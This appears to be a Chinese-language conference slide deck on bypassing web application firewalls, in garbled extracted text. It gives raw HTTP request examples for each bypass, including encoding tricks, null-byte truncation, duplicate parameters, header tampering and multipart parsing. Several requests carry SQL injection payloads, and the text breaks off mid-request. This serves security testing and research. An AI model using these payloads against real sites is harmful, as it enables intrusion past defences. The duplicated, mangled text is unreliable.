应用防火墙(WAF)绕过测试技术吴卓群By 吴卓群AboutMeAbout MeAboutMe¾目前就职于杭州安恒信息技术有限公司,任信息安全服务部副总监高级安全研究员部副总监、高级安全研究员。¾从事多年的web应用安全领域研究。擅长漏洞发掘、代码¾从事多年的web应用安全领域研究。擅长漏洞发掘、代码审计。WAF现状WAF处理协议方式WAF绕过方法WAF绕过方法Web应用防火墙(WAF)¾Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品,目前技相当成熟前技术已经相当成熟。WAF的安全现状¾WAF是保护WEB应用安全的设备,但缺乏足够的安全测试,目前存在大量手段可完全绕过WAF的防护策略,对保护站点进行攻击¾针对f的绕过手段可以通过不完善的策略进行绕过但¾针对waf的绕过手段可以通过不完善的策略进行绕过,但风险更大的是利用解析错误彻底绕过保护¾国内外无论是硬件WAF还是云WAF至少90%以上存在彻¾国内外无论是硬件WAF还是云WAF至少90%以上存在彻底绕过的风险WAF现状WAF处理协议方式WAF绕过方法WAF绕过方法应用防火墙常见构架¾IPS模式¾IPS模式•七层协议都通过程序解析,程序为实现会话保持,通常协议解码较弱¾代理模式¾代理模式¾利用或修改现有的web中间件实现代理,并在中间件上增加防护模块实现防护。总体性能不如IPS模式WAF的挑战WAF的挑战¾WAF在web应用前可做为一个虚拟补丁,保护各种中间件的安全。不同中间件对协议解析有一些微小的区别。WAF需要在所有这些差别下防护所有被保护的站点WAF需要在所有这些差别下防护所有被保护的站点测试基础测试基础HTTP协议——请求报文GET请求数据包样例GET/memberphp?username=aaa&password=bbbbHTTP/11\r\nGET/member.php?usernameaaa&passwordbbbbHTTP/1.1\r\nAccept:*/*\r\nAccept-Language:zh-cn\r\nUser-Agent:Mozilla/4.0\r\nAccept-Encoding:gzip,deflate\r\nHost:xxx.xxx.xxx\r\nPragma:no-cache\r\n\r\nPOST数据包样例POST/memberphpHTTP/11\r\nPOST/member.phpHTTP/1.1\r\nAccept:*/*\r\nAccept-Language:zh-cn\r\nUser-Agent:Mozilla/4.0\r\nContent-Type:application/x-:gzip,deflate\r\npggp,Host:xxx.xxx.xxx\r\nContent-Length:118\r\nPragma:nocache\r\nPragma:no-cache\r\n\r\nusername=fsdf&password=sdf&loginsubmit=true&return_type=产生绕过的问题的根源¾Wf对数据包的解析和中间件的解析存在区别导致可能绕¾Waf对数据包的解析和中间件的解析存在区别,导致可能绕过waf测试方法测试方法¾使用协议级fuzzing发包进行测试,判断返回代码,通常被waf拦截后返回非200的响应码WAF现状WAF绕过方法WAF绕过方法WAF绕过方法通过策略缺陷绕过waf防护通过策略缺陷绕过防护¾部分绕过waf¾部分绕过waf¾本次议题不详细讨论这部分应用防火墙构架导致问题¾IPS模式¾IPS模式•分片问题巨大的CttLth导致设备b•巨大的Content-Length,导致设备bypass•解码较弱¾代理模式•使用高并发流量,导致设备切换bypass解析方法差异¾通过编码绕过通过编码绕过¾使用截断字符¾重复变量¾参数解析的异常¾针对域名的保护¾对Content-type的不同理解¾超大数据包¾变换变量位置¾Post不同解析方式¾异常数据包¾Ajax异步操作利用编码绕过POST/memberphpHTTP/11POST/member.phpHTTP/1.1Accept:*/*Accept-Language:zh-cnUser-Agent:Mozilla/4.0Content-Type:application/x-:bbs.chinaunix.netContent-Length:118Pragma:nocachePragma:no-cacheusername=%u0078%u0078%u0078%u0020%u0061%u006e%u0064%u0020%u0031%u003d%u0031&password=sdf&loginsubmit=true&return_type=正则的%00、%0a、ascii00截断POST/memberphpHTTP/11POST/member.phpHTTP/1.1Accept:*/*Accept-Language:zh-cnUser-Agent:Mozilla/4.0Content-Type:application/x-:bbs.chinaunix.netContent-Length:118Content-Length:118Pragma:no-cacheaaa=x%00&username=fsdf&password=sdf&loginsubmit=true&return_type=重复变量的绕过,重复变量的变体POST/member.phpHTTP/1.1Accept:*/*Accept-Language:zh-cnAcceptLanguage:zhcnUser-Agent:Mozilla/4.0Content-Type:application/x-:bbs.chinaunix.netContent-Length:118gPragma:no-cacheusername=fsdf’andusername=fsdfand‘’=‘&username=fsdf&password=sdf&loginsubmit=true&return_type=利用WAF对参数解析的异常处理POST/member.phpHTTP/1.1Accept:*/*Accept-Language:zh-cnAcceptLanguage:zhcnUser-Agent:Mozilla/4.0Content-Type:application/x-:bbs.chinaunix.netContent-Length:118gPragma:no-cacheUsername%00=xxxx&username=xxx’andUsername%00=xxxx&username=xxxand‘’=‘&password=sdf&loginsubmit=true&return_type=绕过针对域名保护¾修改域名域名为空增加点号域名增加tb等手段¾修改域名,域名为空,增加点号,域名增加tab等手段POST/member.phpHTTP/1.1Accept:*/*Accept:/Accept-Language:zh-cnUser-Agent:Mozilla/4.0Content-Type:application/x-::no-cacheusername=fsdf&password=sdf&loginsubmit=true&return_type=对Content-Type的不同理解POST/memberphpHTTP/11POST/member.phpHTTP/1.1Accept:*/*Accept-Language:zh-cnUser-Agent:Mozilla/4.0Content-Type:application/x-::nocachePragma:no-cacheusername=fsdf&password=sdf&loginsubmit=true&return_type=超大数据包绕过防护POST/memberphpHTTP/11POST/member.phpHTTP/1.1Accept:*/*Accept-Language:zh-cnUser-Agent:Mozilla/4.0Content-Type:application/x-:xxxContent-Length:118Content-Length:118Pragma:no-cachea=x…{10000}&username=fsdf&password=sdf&loginsubmit=true&return_type=变换变量位置绕过POST/memberaspHTTP/11POST/member.aspHTTP/1.1Accept:*/*Accept-Language:zh-cnUser-Agent:Mozilla/4.0Content-Type:application/x-:xxxContent-Length:118Content-Length:118Pragma:no-cacheCookie:username=fsdfpassword=sdf&loginsubmit=true&return_type=解方式利用不同POST的解析方式POST/HTTP/1.1Accept:*/*Accept:*/*Accept-Language:zh-cnUser-Agent:Mozilla/4.0Content-Type:multipart/form-data;boundary=---------------------------7dc33b8148092eypp;yAccept-Encoding:gzip,deflateContent-Length:253Host:xxxxx-----------------------------7dc33b8148092eContent-Disposition:form-data;name=usernameXxxxand1=1-----------------------------7dc33b8148092eContent-Disposition:form-data;name=passwordp;pddddd-----------------------------7dc33b8148092e--利用异常的数据包利用异常的数据包POST/HTTP/1.1Accept:*/*Accept:/Accept-Language:zh-cnUser-Agent:Mozilla/4.0Content-Type:multipart/form-data;boundary=---------------